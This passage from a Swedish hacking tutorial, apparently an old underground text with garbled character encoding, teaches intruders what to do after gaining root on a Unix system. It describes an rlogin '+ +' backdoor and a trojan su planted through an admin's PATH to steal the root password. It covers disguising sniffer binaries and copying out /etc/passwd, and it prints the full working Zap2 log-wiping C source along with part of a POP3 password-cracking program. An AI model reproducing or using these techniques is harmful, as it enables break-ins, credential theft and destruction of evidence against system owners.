Eligt k<>llor kan du hitta medlemmar ur de gamla grupperna p<>
|
|||
|
undernet IRC och t.o.m. DALNet! Leta p<> kanalerna
|
|||
|
#PWIA , #ACS, #Hackers , #Hacktech och #BIOS
|
|||
|
efter v<>ra gamla v<>nner.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
== Till er medlemmar som l<>ser: ==
|
|||
|
==================================
|
|||
|
VI V<>NTAR MED SP<53>NNING P<>
|
|||
|
N<>STA MATCH! VI V<>NTAR P<> EN
|
|||
|
YTTERLIGARE DUELL! OM DET BLIR
|
|||
|
EN.. TALA D<> OM DET F<>R OSS!
|
|||
|
=) // VI D<>DLIGA M<>NISKOR. =)
|
|||
|
==================================
|
|||
|
|
|||
|
|
|||
|
Kapitel 4: Vad du g<>r n<>r du f<>tt <20>root<6F> i ett system.
|
|||
|
Anv<EFBFBD>nda Unix och telnet f<>r att g<> vidare i ditt hackade system.
|
|||
|
|
|||
|
N<EFBFBD>r du har suttit i timmar f<>r att ta dig in i ett system, l<>t oss s<>ga <20>target.com<6F>,
|
|||
|
och n<>r du till sist har lyckats.. s<> sitter du d<>r och t<>nker,
|
|||
|
<EFBFBD>JA! Jag <20>r inne!, s<> vad g<>r jag nu??<3F>.
|
|||
|
Svaret du kommer ge dig sj<73>lv <20>r kanske:
|
|||
|
<EFBFBD>testar att skriva HELP,<2C>, du f<>r upp en massa kommandon
|
|||
|
och sedan testar du n<>gra av dem.
|
|||
|
Sorry! Du testade fel kommando p<> fel s<>tt!
|
|||
|
R<EFBFBD><EFBFBD><EFBFBD><EFBFBD>kade bara skriva:
|
|||
|
rm <20>fr /*
|
|||
|
eller? P<> n<>gra sekunder var det roliga <20>ver, tyv<79>rr kanske
|
|||
|
n<EFBFBD>gon n<>ra st<73>ende loggade det hela, snart kommer kanske polisen och knackar
|
|||
|
p<EFBFBD> d<>rren.. Du gjorde fel, med anda ord.
|
|||
|
(Kommandot rm <20>fr /* - tar bort alla filer p<> disken).
|
|||
|
|
|||
|
Ne, nu n<>r du har f<>tt root, finns det vissa <20>regler<65> och etiker som du m<>ste f<>lja,
|
|||
|
Det finns vissa saker som du b<>r g<>ra, och det finns saker du b<>r undvika.
|
|||
|
Du m<>ste kunna radera och <20>ndra i loggar, du m<>ste g<>ra dig osynlig och beh<65>lla din
|
|||
|
root access. (Det <20>r inte allt f<>r s<>llan som erfarna admins byter l<>senord..)
|
|||
|
|
|||
|
S<EFBFBD>. L<>s detta kapitel f<>r att f<>rst<73> vad du beh<65>ver g<>ra och hur du g<>r det!
|
|||
|
|
|||
|
F<EFBFBD>r det f<>rsta hoppas jag att du har en anledning till varf<72>r du har tagit dig in i systemet.
|
|||
|
Annars kan du inte precis kalla det f<>r hacking. Du kan inte kalla dig f<>r hacker om du bara
|
|||
|
r<EFBFBD>kade g<>ra ett slumpm<70>ssigt <20>hack<63>. Du bara r<>kade trilla in i ett system som du inte vet
|
|||
|
vad det ens <20>r. Du kanske bara scannade efter exploit-bara system och hittade ett som du
|
|||
|
k<EFBFBD>rde den hemladdade exploiten p<>.?
|
|||
|
|
|||
|
Du ska absolut inte ta bort filer, ladda hem eller upp filer innan du vet hur man fixar loggarna,
|
|||
|
du ska i princip inte g<>ra n<>gonting innan du VET hur du rensar upp efter dig och hur du g<>r
|
|||
|
dig sj<73>lv osynlig f<>r andra.
|
|||
|
|
|||
|
Ok, praktik ger b<>sta resultat, s<> jag f<>resl<73>r att du skaffar dig ett shellkonto hos n<>gon
|
|||
|
Internetleverant<EFBFBD>r om du inte redan har det. Du kan <20>va dig lite d<>r, g<>r inget dumt bara ;-).
|
|||
|
|
|||
|
Du har l<>rt dig en del om Unix/Linux h<>r i boken nu, s<> du kan nog en del kommandon redan,
|
|||
|
men h<>r <20>r en liten lista <20>ver de viktigaste, de <20>r <20>versatta mellan DOS och UNIX spr<70>k:
|
|||
|
|
|||
|
DOS: UNIX:
|
|||
|
|
|||
|
DIR/W = ls
|
|||
|
DIR = ls -l
|
|||
|
DIR/AH = ls -al AH=(d<>ld) -al=(include hidden files as well as regular)
|
|||
|
RENAME = mv
|
|||
|
ATTRIB = chmod
|
|||
|
MD = mkdir
|
|||
|
RD = rmdir
|
|||
|
DEL = rm
|
|||
|
COPY = cp
|
|||
|
|
|||
|
Ok.. S<> nu har du det klart f<>r dig..?
|
|||
|
Du kan l<>sa mer om kommandona genom att kolla deras <20>man<61> sidor.
|
|||
|
|
|||
|
Om du skriver <20>cd<63> utan de tv<74> <20><>, och klickar {ENTER}, s<> kommer du automatiskt tillbaka
|
|||
|
till din hemkatalog. Kommandot: cp filnamn $HOME <20> kommer att kopiera det specifierade
|
|||
|
filnamet (filen) till din hemkatalog.
|
|||
|
cd ~anv<6E>ndarnamn - Tar dig till den valda anv<6E>ndarens konto, om du har r<>ttigheten att
|
|||
|
vara d<>r. Skriv pwd och klicka {ENTER} f<>r att se vart i filsystemet du befinner dig.
|
|||
|
|
|||
|
N<EFBFBD>r vi nu har loggat in i systemet, och v<>r prompt heter <20>bash$<24>, s<> kan vi b<>rja kolla runt:
|
|||
|
|
|||
|
bash$
|
|||
|
|
|||
|
bash$ cd /tmp
|
|||
|
bash$ ls -l
|
|||
|
total 783
|
|||
|
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
|
|||
|
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
|||
|
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
|
|||
|
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
|
|||
|
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
|
|||
|
|
|||
|
Observera h<>r att den gamla hederliga DOS <20>backslashen<65> har bytts ut mot <20>slash<73>,
|
|||
|
( DOS = \ )
|
|||
|
(UNIX = / )
|
|||
|
C:\tmp\ hade det kanske varit i Windows, men i Unix <20>r det /tmp.
|
|||
|
Ovanf<EFBFBD>r det d<>r <20>/<2F><>t finns inget. Det <20>r rooten. /tmp <20>r en undermapp till den h<>gsta grenen i
|
|||
|
filsystemet. Andra undermappar till / <20>r t.ex. <20>root<6F>, <20>lost&found<6E>, <20>bin<69> och <20>etc<74>.
|
|||
|
Det talade jag ju om tidigare!
|
|||
|
|
|||
|
S<EFBFBD> .. detta gav oss v<>l inte s<> mycket rolig information? Vi testar samma kommando med
|
|||
|
v<EFBFBD>xlarna a och l:
|
|||
|
|
|||
|
bash$ ls -al
|
|||
|
total 794
|
|||
|
drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
|
|||
|
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
|
|||
|
-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
|
|||
|
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
|
|||
|
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
|
|||
|
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
|||
|
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
|
|||
|
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
|
|||
|
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
|
|||
|
|
|||
|
S<EFBFBD>.. nu fick vi lite mer. Det som lades till var <20>.pinetemp.000<EFBFBD> och <20>.test<73>.
|
|||
|
Att dessa tv<74> lades till beror p<> att de <20>r dolda filer. Med v<>xlarna a och l, (a r<>cker),
|
|||
|
s<EFBFBD> fick vi se <20>ven dolda filer/kataloger). Vi kan ocks<6B> se att <20>.test<73> var en katalog.
|
|||
|
|
|||
|
Det ska vi prata lite mer om nu strax. Vi beh<65>ver f<>rst l<>ra oss om r<>ttigheter!
|
|||
|
|
|||
|
|
|||
|
Sk<EFBFBD>da exemplet:
|
|||
|
|
|||
|
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
|||
|
----------
|
|||
|
| | | |--------> Other = Vem som helst p<> datorns <20>tkomst
|
|||
|
| | |------------> Group = Vissa gruppes <20>tkomst
|
|||
|
| |---------------> User = Bara <20>garens <20>tkomst
|
|||
|
|-----------------> Katalog eller Fil. Det visas h<>r.
|
|||
|
|
|||
|
S<EFBFBD> nu fick ni h<>r se, att det <20>r denna <20>rw<72>grej som visar vilken access olika personer
|
|||
|
har till filen/katalogen i fr<66>ga. Den raden kan de ut lite hur som helst, det beror p<> vilka
|
|||
|
som har vilken <20>tkomst/tillg<6C>ng/m<>jlighet/access till filen/katalogen.
|
|||
|
Vi kan ta ett exempel:
|
|||
|
|
|||
|
- rw- r-- r--
|
|||
|
| | | |--------> <20>vriga kan bara l<>sa filen.
|
|||
|
| | |------------> Gruppen kan bara l<>sa filen.
|
|||
|
| |----------------> <20>garen kan l<>sa och skriva till filen.
|
|||
|
|------------------> Det <20>r inte en katalog
|
|||
|
|
|||
|
|
|||
|
- rwx rwx r-x
|
|||
|
| | | |--------> <20>vriga anv<6E>ndare kan l<>sa och k<>ra filen.
|
|||
|
| | |------------> Gruppen kan l<>sa, skriva till och k<>ra filen.
|
|||
|
| |----------------> <20>garen kan l<>sa, skriva till och k<>ra filen.
|
|||
|
|------------------> Det <20>r en katalog
|
|||
|
|
|||
|
Ok, s<> nu kanske du har f<>rst<73>tt vad de olika bokst<73>verna st<73>r f<>r?:
|
|||
|
|
|||
|
R = Read (L<>s r<>ttighet, man f<>r l<>sa/<2F>ppna filen, se inneh<65>llet).
|
|||
|
W = Write (Skriva till, redigera, ta bort filen, byta namn eller flytta den).
|
|||
|
X = Execute (K<>ra filen om det <20>r ett program/procedur/kommando).
|
|||
|
- = Uppgift saknas (t.ex. om filen inte <20>r en katalog, eller om en r<>ttighet saknas.
|
|||
|
Om det <20>R en katalog s<> st<73>r ett <20>d<EFBFBD> i b<>rjan av raden. Annars <20>r det ett str<74>ck.)
|
|||
|
|
|||
|
N<EFBFBD>r du har root kan du <20>ndra r<>ttigheter med mer f<>r alla filer och kataloger
|
|||
|
Du kan f<>rst<73>ss alltid <20>ndra p<> filer/kataloger om det <20>r du som <20>r <20>garen:
|
|||
|
|
|||
|
chmod oug+r filnamn ? Detta g<>r s<> att b<>de <20>garen, gruppen och <20>vriga kan
|
|||
|
l<>sa filen. (O = Others, U = User, G = Group) +r = (
|
|||
|
plus READ).
|
|||
|
|
|||
|
chmod og-r filnamn ? Detta g<>r s<> att bara <20>garen (U = User), kan l<>sa
|
|||
|
filen. (Observera att - och + anges f<>r att GE & TA)
|
|||
|
|
|||
|
chmod +x filnamn ? G<>r s<> att alla kan k<>ra filen (varken O U eller G
|
|||
|
anges. Det tar UNIX som ett <20>alla!<21>.)
|
|||
|
|
|||
|
chown user filnamn ? User byts ut mot den anv<6E>ndare som ska f<> <20><>gande
|
|||
|
r<>ttigheten<65>. Endast <20>garen av filen eller root kan
|
|||
|
<20>ndra detta (som vanligt)
|
|||
|
|
|||
|
chgrp gruppnamn filnamn ? G<>r s<> att filen <20>gs av en annan grupp.
|
|||
|
(gruppnamn)
|
|||
|
|
|||
|
|
|||
|
<EFBFBD>ndra inte inst<73>llningarna eller r<>ttigheterna innan du vet vem som <20>ger filen och vad det <20>r
|
|||
|
f<EFBFBD>r fil mm.. Det kan f<> <20>garen/gruppen eller sysadmin att bli fundersam, han/hon sp<73>rar dig
|
|||
|
och s<>tter dit dig helt enkelt. Ta det lugnt!
|
|||
|
|
|||
|
rlogin.
|
|||
|
|
|||
|
Det finns ett annat kommando <20>n Telnet f<>r att logga in p<> ett konto ocks<6B>. Det <20>r rlogin.
|
|||
|
L<EFBFBD>s <20>man<61> sidorna om rlogin f<>rst av allt!
|
|||
|
Standard kommandot <20>r v<>l:
|
|||
|
|
|||
|
rlogin <20>l anv<6E>ndarnamn l<>senord
|
|||
|
connecting....
|
|||
|
password:
|
|||
|
|
|||
|
bash$
|
|||
|
|
|||
|
P<EFBFBD> servern finns det en .rlogin fil i anv<6E>ndarens hemkatalog som talar om f<>r servern
|
|||
|
vilket system som den kan ta emot rlogin fr<66>n. Den filen kan se ut s<>h<EFBFBD>r:
|
|||
|
|
|||
|
username hostname (or) hostname
|
|||
|
|
|||
|
Om du skulle l<>gga till en rad med <20>+ +<2B> i den h<>r filen, det skulle l<>ta vem som helst,
|
|||
|
fr<EFBFBD>n vilket system som helst, utan l<>senord, att logga in i systemet!
|
|||
|
Om det redan finns ett anv<6E>ndarnamn i rlogin filen s<> kan du l<>gga till raden:
|
|||
|
+ +
|
|||
|
under loginname-raden. Men d<> skulle nog anv<6E>ndare snart uppt<70>cka att man kunde
|
|||
|
logga in utan l<>senord..
|
|||
|
|
|||
|
Ett annat s<>tt att logga in p<> <20>r med kommandot FTP:
|
|||
|
ftp ftp.hostname.com
|
|||
|
Mer om FTP senare.
|
|||
|
|
|||
|
GCC Compiler
|
|||
|
|
|||
|
Du kommer flera g<>nger, s<>kerligen, beh<65>va kompilera en .c fil till k<>rbart format.
|
|||
|
Det smartaste <20>r ju att kopiera C-koden du vill kompilera, logga in i ditt hackade system,
|
|||
|
pasta in koden i en ny .c fil, spara den och kompilera den. (F<>r er som inte vet, s<> <20>r en .c fil,
|
|||
|
en s<>dan fil som man sparar C-kod i. Allts<74>, C/C++ programmering<6E> Sedan kompilerar man
|
|||
|
koden, man <20>vers<72>tter den till maskinkod som datorn kan f<>rst<73>. Man g<>r den till en k<>rbar-
|
|||
|
-fil). S<>.. Du pastar in koden och kompilerar.. (pasta = klistra in). Detta f<>r att undvika
|
|||
|
on<EFBFBD>diga loggar.
|
|||
|
|
|||
|
F<EFBFBD>r att kopiera och klistra in s<> tar du helt enkelt och kopierar koden fr<66>n din andra session,
|
|||
|
<EFBFBD>ppnar en textredigerare p<> din hackade dator och klistrar in koden d<>r. Sedan sparar du filen
|
|||
|
som t.ex. i v<>rat exempel: $HOME/kodfil.c
|
|||
|
|
|||
|
Samma sak g<>ller om du ska ladda hem password filen via FTP, spara den d<> f<>rst i din
|
|||
|
egen hemkatalog med ett annat namn:
|
|||
|
bash:/etc:> cp passwd $HOME/plog
|
|||
|
|
|||
|
(Om jag inte redan har sagt det s<> <20>r jag dum, du hittar l<>senordsfilen och gruppfilen f<>r
|
|||
|
UNIX i: /etc. Oftast ser adressen ut s<>h<EFBFBD>r (i en webl<62>sare):
|
|||
|
|
|||
|
ftp://ftp.blablabla.com/etc/passwd
|
|||
|
ftp://ftp.blablabla.com/etc/group
|
|||
|
|
|||
|
eller
|
|||
|
|
|||
|
ftp://blablabla.com/etc/passwd
|
|||
|
ftp://blablabla.com/etc/group
|
|||
|
|
|||
|
S<EFBFBD>.. Nu vet du det.
|
|||
|
Ett annat bra s<>tt att skicka en fil lite osynligt p<> <20>r genom att skapa en DCC session
|
|||
|
med en kompis/med en annan dator.. (man s<>nder filen <20>ver IRC), f<>r att g<>ra det
|
|||
|
anv<EFBFBD>nder man kommandot:
|
|||
|
|
|||
|
/dcc send <nick> <filnamn>
|
|||
|
|
|||
|
mottagaren tar emot genom att anv<6E>nda kommandot:
|
|||
|
|
|||
|
/dcc get <nick> <filnamn>
|
|||
|
|
|||
|
Det vore ganska bra att ha en IRCbot p<> ett shell som tog emot alla filer den fick fr<66>n ett
|
|||
|
speciellt nickname va?
|
|||
|
|
|||
|
GCC kompilatorn <20>r iaf enkel!:
|
|||
|
|
|||
|
gcc filnamn.c <20>o nytt_filnamn
|
|||
|
|
|||
|
S<EFBFBD>! Om jag nu ville kompilera en fil vid namn <20>rune.c<> som l<>g i den aktuella katalogen,
|
|||
|
och jag ville att den skulle heta mittprogram n<>r den var klar, skulle jag skriva:
|
|||
|
|
|||
|
gcc rune.c <20>o mittprogram
|
|||
|
|
|||
|
Enkelt va? Om jag bara skrev <20>/gcc rune.c<> skulle jag f<> en fil vid namn a.out , och jag skulle
|
|||
|
vara tvungen att d<>pa om den till <20>mittprogram<61> f<>r att kunna anv<6E>nda den. Kommandot <20>r
|
|||
|
d<EFBFBD>:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mv a.out mittprogram
|
|||
|
|
|||
|
Om du skaffar dig en k<>llkod med ett namn som <20>zap<61> eller <20>sniffer<65>, s<> borde du
|
|||
|
naturligtvis d<>pa om dessa till n<>got som inte en anti-d<>liga-program-scanner skulle
|
|||
|
kunna k<>nna igen namnet p<>.. Som inte en admin skulle k<>nna igen namnet p<>,
|
|||
|
t.ex. d<>pa om <20>sniffer<65> till <20>execzip<69> eller vad som helst!
|
|||
|
|
|||
|
Det kommer ocks<6B> vara de g<>nger du vill k<>ra ett program i bakgrunden <20>ven
|
|||
|
n<EFBFBD>r du har loggat ut fr<66>n kontot. F<>r att g<>ra detta s<> l<>gger du bara till ett <20>&<26> framf<6D>r
|
|||
|
programnamnet. Om du tillexempel skulle k<>ra v<>rat program <20>mittprogram<61> s<> skulle
|
|||
|
du skriva:
|
|||
|
|
|||
|
&mittprogram
|
|||
|
|
|||
|
F<EFBFBD>r att inte n<>gon ska undra vad det <20>r f<>resl<73>r jag att du d<>per programmet till n<>got
|
|||
|
som mera liknar de andra programmen som k<>rs i bakgrunden.
|
|||
|
F<EFBFBD>r att h<>r, likt med Ctrl-Alt-Delete kommandot i Windows, se vilka program som k<>rs,
|
|||
|
kan du anv<6E>nda ps kommandot. Ps st<73>r helt enkelt f<>r <20>process<73> och visar vilka processer
|
|||
|
som f<>r tillf<6C>llet k<>rs. Anv<6E>nd ocks<6B> v<>xlarna auxe och titta p<> resultatet i programmet
|
|||
|
<EFBFBD>more<EFBFBD> f<>r att inte missa n<>got:
|
|||
|
|
|||
|
ps -auxe |more
|
|||
|
|
|||
|
a = alla
|
|||
|
u = users
|
|||
|
x = du sj<73>lv
|
|||
|
e = env
|
|||
|
|
|||
|
P<EFBFBD> vissa maskiner m<>ste man skriva <20>pstree<65> f<>r att f<> se listan.
|
|||
|
Sedan f<>r du se listan, d<>p programmet till n<>got som liknar n<>got av det du f<>r se i listan!
|
|||
|
Sedan s<> k<>r du programmet.. med ett & framf<6D>r.
|
|||
|
Kolla sedan ps <20>auxe |more igen, f<>r att se om din process(ditt program) k<>rs.
|
|||
|
|
|||
|
___________________________________________________________________________
|
|||
|
|
|||
|
Om du har f<>tt access till en admins konto, s<> kanske du vill kolla hans history-filer f<>r att
|
|||
|
se om han ofta anv<6E>nder su-kommandot f<>r att komma <20>t root. Om han g<>r det s<> kan du
|
|||
|
anv<EFBFBD>nda en trojan eller keylogger f<>r att f<> tag p<> l<>senordet till root. Det funkar s<> h<>r:
|
|||
|
Du <20>ndrar i adminens shellscript s<> att en ny, dold katalog (.term eller n<>t s<>nt <20>r bra), l<>ggs
|
|||
|
till f<>re alla andra katalogen i <20>s<EFBFBD>k path<74>n<EFBFBD>. Allts<74>, innan alla de andra katalogerna som unix
|
|||
|
ska s<>ka igenom efter det kommando som personen ifr<66>ga anv<6E>nder.. F<>rs<72>k f<>rst<73> bara! ;-).
|
|||
|
Du l<>gger till en k<>rbar su-fil i .term katalogen (eller vilken katalog du nu valde).
|
|||
|
Sedan n<>r administrat<61>ren (admin) kommer in, skriver su kommandot, och allt ser bra ut,
|
|||
|
skriver vidare in l<>senordet och d<> kopieras l<>senords id:t till en logfil i: /tmp/.elm69
|
|||
|
sedan raderas trojan-su-filen och ger honom ett <20>fel l<>senord<72> meddelande och l<>ter honom
|
|||
|
f<EFBFBD>rs<EFBFBD>ka igen. Denna g<>ngen g<>r allt bra eftersom att v<>r lilla trojan har raderats och Unix
|
|||
|
k<EFBFBD>r den <20>kta su filen ist<73>llet.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
1. <20>ndra pathen i en av de anv<6E>ndarkonton som du har access till som du ser anv<6E>nder SU
|
|||
|
genom att titta i historie filerna. <20>ndra pathen s<> att katalogen som du har lagt din SU trojan i
|
|||
|
kommer f<>rst i listan.
|
|||
|
|
|||
|
2. Var s<>ker p<> att du redigerar toppen av SU.c filen till den path (s<>kv<6B>g!) du kommer att
|
|||
|
anv<EFBFBD>nda, s<> att sutrojanen raderar sig sj<73>lv och l<>ter den riktiga SU filen arbeta f<>r n<>sta
|
|||
|
f<EFBFBD>rs<EFBFBD>k.
|
|||
|
|
|||
|
3. L<>gg alla filerna i adminens katalog och kompilera su.c filen!
|
|||
|
|
|||
|
gcc su.c <20>o su
|
|||
|
|
|||
|
Radera till sist alla filerna utom su filen, och allt <20>r klart!
|
|||
|
|
|||
|
|
|||
|
.bash_profile filen ser kanske ut s<>h<EFBFBD>r:
|
|||
|
|
|||
|
# .bash_profile
|
|||
|
|
|||
|
# Get the aliases and functions
|
|||
|
if [ -f ~/.bashrc ]; then
|
|||
|
. ~/.bashrc
|
|||
|
fi
|
|||
|
|
|||
|
# User specific environment and startup programs
|
|||
|
|
|||
|
PATH=$PATH:$HOME/bin
|
|||
|
ENV=$HOME/.bashrc
|
|||
|
USERNAME=""
|
|||
|
|
|||
|
export USERNAME ENV PATH
|
|||
|
|
|||
|
D<EFBFBD> ska du helt enkelt nu ta och <20>ndra den f<>rsta raden till:
|
|||
|
PATH=$HOME/.term:$PATH:$HOME/bin
|
|||
|
|
|||
|
Nu kopierar trojanen l<>senordet till root (eller om det var ett annat konto, (det talar logfilen<65>
|
|||
|
om)), till en logfil i /temp. Sedan raderar den sig sj<73>lv och <20>terst<73>ller allt s<> att det blir frid
|
|||
|
och fr<66>jd igen. Allt detta d<> efter att admin har skrivit sitt su kommando..
|
|||
|
G<EFBFBD>r nu inte detta sj<73>lv! D<> m<>ste du g<>ra om allt igen.
|
|||
|
|
|||
|
Historie filerna finns i anv<6E>ndarnas hemkataloger (HOME). De kan inneh<65>lla s<> mycket som
|
|||
|
de 100 senaste kommandona / raderna skrivna av konto<74>garen. Leta h<>r speciellt efter filerna
|
|||
|
.bash_history eller History. L<>s dem med hj<68>lp av more. (more .bash_history).
|
|||
|
|
|||
|
Ok ok ok.. G<>mma dina sp<73>r lite..
|
|||
|
H<EFBFBD>r <20>r en .c fil som du kan anv<6E>nda till att rensa dina sp<73>r efter det att du loggat in i systemet:
|
|||
|
(kopiera in i en texteditor i ditt hackade system, spara som .c fil och kompilera med gcc.):
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <string.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <sys/param.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <stdarg.h>
|
|||
|
|
|||
|
/* First, define the POP-3 port - almost always 110 */
|
|||
|
#define POP3_PORT 110
|
|||
|
|
|||
|
/* What we want our program to be masked as, so nosy sys admin's don't kill us */
|
|||
|
#define MASKAS "vi"
|
|||
|
|
|||
|
/* Repeat connect or not - remember, logs still report a connection, so
|
|||
|
you might want to set this to 0. If set to 0, it will hack until it finds
|
|||
|
1 user/password then exit. If set to 1, it will reconnect and try more
|
|||
|
user/passwords (until it runs out of usernames) */
|
|||
|
#define RECONNECT 0
|
|||
|
|
|||
|
|
|||
|
Mer om att g<>ra dig sj<73>lv osynlig:
|
|||
|
|
|||
|
Det hela g<>r ut p<> att du ska f<>rs<72>ka ha kvar din access s<> l<>nge som m<>jligt, l<>r dig systemet,
|
|||
|
l<EFBFBD>r dig genom att utforska det, kolla p<> hur olika exploits fungerar, det <20>r detta som <20>r
|
|||
|
meningen!! Om du f<>rst<73>r eller visar dig f<>r admins s<> <20>r det k<>rt, du blir utkickad och
|
|||
|
anm<EFBFBD>ld. S<> nu ska jag ber<65>tta mer om hur du h<>ller dig osynlig.
|
|||
|
|
|||
|
Det finns ett antal loggfilsrensnings program d<>r ute, det troligen b<>sta <20>r Zap2.
|
|||
|
Jag laddade hem zap2 och kompilerade det till namnet z2.
|
|||
|
|
|||
|
Zap ska k<>ras s<> fort man loggat in som root p<> systemet. Du kanske f<>rst vill kolla med
|
|||
|
finger @host.xxx f<>r att se vilka som <20>r inloggade. Kolla IDLE tiden f<>r root och admin
|
|||
|
f<EFBFBD>r att se om de inte <20>r aktiva. S<> fort du har loggat in p<> systemet med ett annat konto,
|
|||
|
kolla vilka som <20>r p<> och deras idle tid med kommandot: w. Logga sedan snabbt in som
|
|||
|
root och k<>r lika hastigt zap programmet. (I mitt fall skriver jag d<>):
|
|||
|
./z2 mitt-login-namn
|
|||
|
Kolla nu med w eller who , att du inte syns i listan!
|
|||
|
|
|||
|
Du kommer vara tvungen att kolla vart alla filer i systemet finns och redigera z2.c filen s<>
|
|||
|
att den inneh<65>ller den r<>tta lokaliseringen av dessa filer.
|
|||
|
H<EFBFBD>r <20>r arean som du kollar efter alldeles i b<>rjan av filen:
|
|||
|
|
|||
|
#define WTMP_NAME "/usr/adm/wtmp"
|
|||
|
#define UTMP_NAME "/etc/utmp"
|
|||
|
#define LASTLOG_NAME "/usr/adm/lastlog"
|
|||
|
|
|||
|
De flesta systemen man loggar in p<> <20>r:
|
|||
|
|
|||
|
#define WTMP_NAME "/var/adm/wtmp"
|
|||
|
#define UTMP_NAME "/var/adm/utmp"
|
|||
|
#define LASTLOG_NAME "/var/adm/lastlog"
|
|||
|
|
|||
|
Kolla runt sj<73>lv. /var/log: <20>r ocks<6B> en vanlig placering.
|
|||
|
L<EFBFBD>gg till lokaliseringarna f<>r varje system i filen och kompilera..
|
|||
|
H<EFBFBD>r <20>r zap2.c filen:
|
|||
|
|
|||
|
z2.c
|
|||
|
--------------------------- klipp h<>r
|
|||
|
#include <sys/types.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <sys/file.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <utmp.h>
|
|||
|
#include <pwd.h>
|
|||
|
#include <lastlog.h>
|
|||
|
#define WTMP_NAME "/usr/adm/wtmp"
|
|||
|
#define UTMP_NAME "/etc/utmp"
|
|||
|
#define LASTLOG_NAME "/usr/adm/lastlog"
|
|||
|
|
|||
|
int f;
|
|||
|
|
|||
|
void kill_utmp(who)
|
|||
|
char *who;
|
|||
|
{
|
|||
|
struct utmp utmp_ent;
|
|||
|
|
|||
|
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
|
|||
|
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
|
|||
|
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
|
|||
|
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
|
|||
|
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
|
|||
|
write (f, &utmp_ent, sizeof (utmp_ent));
|
|||
|
}
|
|||
|
close(f);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void kill_wtmp(who)
|
|||
|
char *who;
|
|||
|
{
|
|||
|
struct utmp utmp_ent;
|
|||
|
long pos;
|
|||
|
|
|||
|
pos = 1L;
|
|||
|
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
|
|||
|
|
|||
|
while(pos != -1L) {
|
|||
|
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
|
|||
|
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
|
|||
|
pos = -1L;
|
|||
|
} else {
|
|||
|
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
|
|||
|
bzero((char *)&utmp_ent,sizeof(struct utmp ));
|
|||
|
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
|
|||
|
write (f, &utmp_ent, sizeof (utmp_ent));
|
|||
|
pos = -1L;
|
|||
|
} else pos += 1L;
|
|||
|
}
|
|||
|
}
|
|||
|
close(f);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void kill_lastlog(who)
|
|||
|
char *who;
|
|||
|
{
|
|||
|
struct passwd *pwd;
|
|||
|
struct lastlog newll;
|
|||
|
|
|||
|
if ((pwd=getpwnam(who))!=NULL) {
|
|||
|
|
|||
|
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
|
|||
|
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
|
|||
|
bzero((char *)&newll,sizeof( newll ));
|
|||
|
write(f, (char *)&newll, sizeof( newll ));
|
|||
|
close(f);
|
|||
|
}
|
|||
|
|
|||
|
} else printf("%s: ?\n",who);
|
|||
|
}
|
|||
|
|
|||
|
main(argc,argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
if (argc==2) {
|
|||
|
kill_lastlog(argv[1]);
|
|||
|
kill_wtmp(argv[1]);
|
|||
|
kill_utmp(argv[1]);
|
|||
|
printf("Zap2!\n");
|
|||
|
} else
|
|||
|
printf("Error.\n");
|
|||
|
}
|
|||
|
--------------------------- klipp h<>r
|
|||
|
|
|||
|
|
|||
|
Andra scripts
|
|||
|
|
|||
|
L<EFBFBD>t oss nu s<>ga att du har loggat in och k<>rt din zap fil.
|
|||
|
Du m<>ste nu FTP:a in f<>r att <20>grab:a<> en fil.
|
|||
|
(Kom ih<69>g att aldrig FTP:a eller Telnet:a ut fr<66>n kontot!)
|
|||
|
Ok, du FTP:ar in och grab:ar ett par filer, eller loggar in p<> ett annat konto p<> systemet.
|
|||
|
Nu blir du tvungen att anv<6E>nda wted. wted l<>ter dig redigera wtmp:en f<>r att ta bort ditt
|
|||
|
login fr<66>n FTP:n. Du kanske ocks<6B> beh<65>ver anv<6E>nda dig av lld (lastlog edit).
|
|||
|
H<EFBFBD>r <20>r menyn om du skriver ./wted, efter att ha satt log s<>kv<6B>g och kompilerat:
|
|||
|
|
|||
|
|
|||
|
[8:25pm][/home/compile]wted
|
|||
|
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
|
|||
|
-h This help
|
|||
|
-f Use FILE instead of default
|
|||
|
-a Show all entries found
|
|||
|
